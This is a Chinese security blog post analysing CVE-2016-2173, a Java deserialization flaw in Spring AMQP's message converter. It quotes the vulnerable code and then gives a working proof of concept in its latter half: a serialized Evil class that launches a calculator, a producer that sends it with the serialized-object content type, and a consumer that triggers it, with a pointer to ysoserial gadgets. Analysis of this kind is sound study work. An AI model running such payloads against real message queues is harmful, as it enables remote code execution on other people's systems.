Spring AMQP 远程代码执行(CVE-2016-2173)

这个没有人分析?这篇文章写出来权当自己的学习过程了。近期一直在整理java相关的漏洞,多半是反序列化相关的知识,以后有机会慢慢发。https://pivotal.io/cn/security/cve-2016-2173

介绍

官方描述如下:

The class org.springframework.core.serializer.DefaultDeserializer does not validate the deserialized object against a whitelist. By supplying a crafted serialized object like Chris Frohoff’s Commons Collection gadget, remote code execution can be achieved.

看描述可以知道是org.springframework.core.serializer.DefaultDeserializer没有进行白名单验证导致的java反序列化,可以用Commons Collection gadget来执行远程代码。

分析

老实说,之前只知道AMQP是消息队列,但是没有怎么去深入学习了解过。正好借助这次机会学习一下,老规矩先看看Spring AMQP怎么用的,参考。不喜欢在电脑上装一些乱七八糟的东西,首先先docker安装rabbitmq。

service docker start

docker pull docker.io/tutum/rabbitmq

docker run -d -p 5672:5672 -p 15672:15672 -e RABBITMQ_PASS="admin" tutum/rabbitmq

我将密码设置为admin, admin,测试登录正常可以进行以一步,一般来说很多demo都会拿生产者和消费者来讲spring + rabbitmq结合。我比较懒,直接下载官方的案例https://github.com/spring-projects/spring-amqp-samples/tree/master/helloworld

注意要修改HelloWorldConfiguration 中的ip和账号密码,测试调通之后就可以干活了。官方补丁中提示的是org/springframework/amqp/support/converter/SerializerMessageConverter.java 函数

  	/**
 * Converts from a AMQP Message to an Object.
 */
@Override
public Object fromMessage(Message message) throws MessageConversionException {
   Object content = null;
   MessageProperties properties = message.getMessageProperties();
   if (properties != null) {
      String contentType = properties.getContentType();
      if (contentType != null && contentType.startsWith("text") && !ignoreContentType) {
         String encoding = properties.getContentEncoding();
         if (encoding == null) {
            encoding = this.defaultCharset;
         }
         try {
        content = new String(message.getBody(), encoding);
     } catch (UnsupportedEncodingException e) {
        throw new MessageConversionException("failed to convert text-based Message content", e);
     }
  } else if (contentType != null && contentType.equals(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT)
        || ignoreContentType) {
     try {
        content = deserializer.deserialize(new ByteArrayInputStream(message.getBody()));
     } catch (IOException e) {
        throw new MessageConversionException("Could not convert message body", e);
     }
  }
   }
   if (content == null) {
      content = message.getBody();
   }
   return content;
}

其中deserializer.deserialize是将message反序列化的过程,至于deserialize函数的内容如下:

/**
 * Read from the supplied {@code InputStream} and deserialize the contents
 * into an object.
 * @see ObjectInputStream#readObject()
 */
@Override
@SuppressWarnings("resource")
public Object deserialize(InputStream inputStream) throws IOException {
   ObjectInputStream objectInputStream = new ConfigurableObjectInputStream(inputStream, this.classLoader);
   try {
      return objectInputStream.readObject();
   }
   catch (ClassNotFoundException ex) {
      throw new NestedIOException("Failed to deserialize object type", ex);
   }
}

熟悉的readObject,只要想办法控制objectInputStream,那么就可以执行任意代码了,先查看调用链: 找到rabbitTemplate.convertSendAndReceive和rabbitTemplate.receiveAndConvert 先写一个实体类:

package test;

import java.io.*;

/**
 * Created by bsmali4 on 18/1/29.
 */
public class Evil implements Serializable {
    private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
    objectInputStream.defaultReadObject();
    new ProcessBuilder("open", "/Applications/Calculator.app/").start();
}
}

调试到如下位置: 触发位置就在fromMessage,那么在convertAndSend的时候不能是简单的任意对象了,必须是Message类或者其子类了。其中fromMessage代码如下:

@Override
public Object fromMessage(Message message) throws MessageConversionException {
   Object content = null;
   MessageProperties properties = message.getMessageProperties();
   if (properties != null) {
      String contentType = properties.getContentType();
      if (contentType != null && contentType.startsWith("text")) {
         String encoding = properties.getContentEncoding();
         if (encoding == null) {
            encoding = this.defaultCharset;
         }
         try {
            content = new String(message.getBody(), encoding);
         }
         catch (UnsupportedEncodingException e) {
            throw new MessageConversionException(
                  "failed to convert text-based Message content", e);
         }
      }
      else if (contentType != null &&
            contentType.equals(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT)) {
         try {
            content = SerializationUtils.deserialize(createObjectInputStream(new ByteArrayInputStream(message.getBody()), this.codebaseUrl));
         } catch (IOException e) {
            throw new MessageConversionException(
                  "failed to convert serialized Message content", e);
         } catch (IllegalArgumentException e) {
            throw new MessageConversionException(
                  "failed to convert serialized Message content", e);
         }
      }
   }
   if (content == null) {
      content = message.getBody();
   }
   return content;
}

要想执行到代码中加粗的部分,必须满足两个条件 contentType为MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT),即application/x-java-serialized-object 通过Message.setMessageProperties可以达到这一点。所以整个poc如下: 生产者

package test;
import javassist.*;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.amqp.core.MessageProperties;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

import java.io.*;

public class Producer {

public static void main(String[] args) {
  ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
  AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);

    try {
        //amqpTemplate.convertSendAndReceive("exchange", "routingkey", getMessage());
        amqpTemplate.convertAndSend(getMessage());
    } catch (IOException e) {
        e.printStackTrace();
    }
    //amqpTemplate.convertAndSend("Hello World");
  System.out.println("Sent: Hello World");
}

public static Message getMessage() throws IOException {
    MessageProperties messageProperties = new MessageProperties();
    messageProperties.setContentType("application/x-java-serialized-object");
    Message message = new Message(getbBody(), messageProperties);
    return message;
}

public static byte[] getbBody() throws IOException {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    Evil evil = new Evil();
    oos.writeObject(evil);
    byte[] str = baos.toByteArray();
    return str;

}

}

消费者

package test;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {

   public static void main(String[] args) {
      ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
      AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
      System.out.println("Received: " + amqpTemplate.receiveAndConvert());
   }

}

当然Evil不是默认存在的class,要想真正的执行,可以参考ysoserial里面的Gadgets,这系列文章之前写了很多,大家可以自己去调试一下。 最后补一张利用成功的图

参考链接

https://github.com/spring-projects/spring-amqp-samples https://jira.spring.io/browse/AMQP-590 https://github.com/spring-projects/spring-amqp/commit/4150f107e60cac4a7735fcf7cb4c1889a0cbab6c https://pivotal.io/cn/security/cve-2016-2173 http://blog.csdn.net/fengyufuchen/article/details/51830425 http://blog.csdn.net/cubesky/article/details/38753861 http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4968673 https://spring.io/guides/gs/messaging-rabbitmq/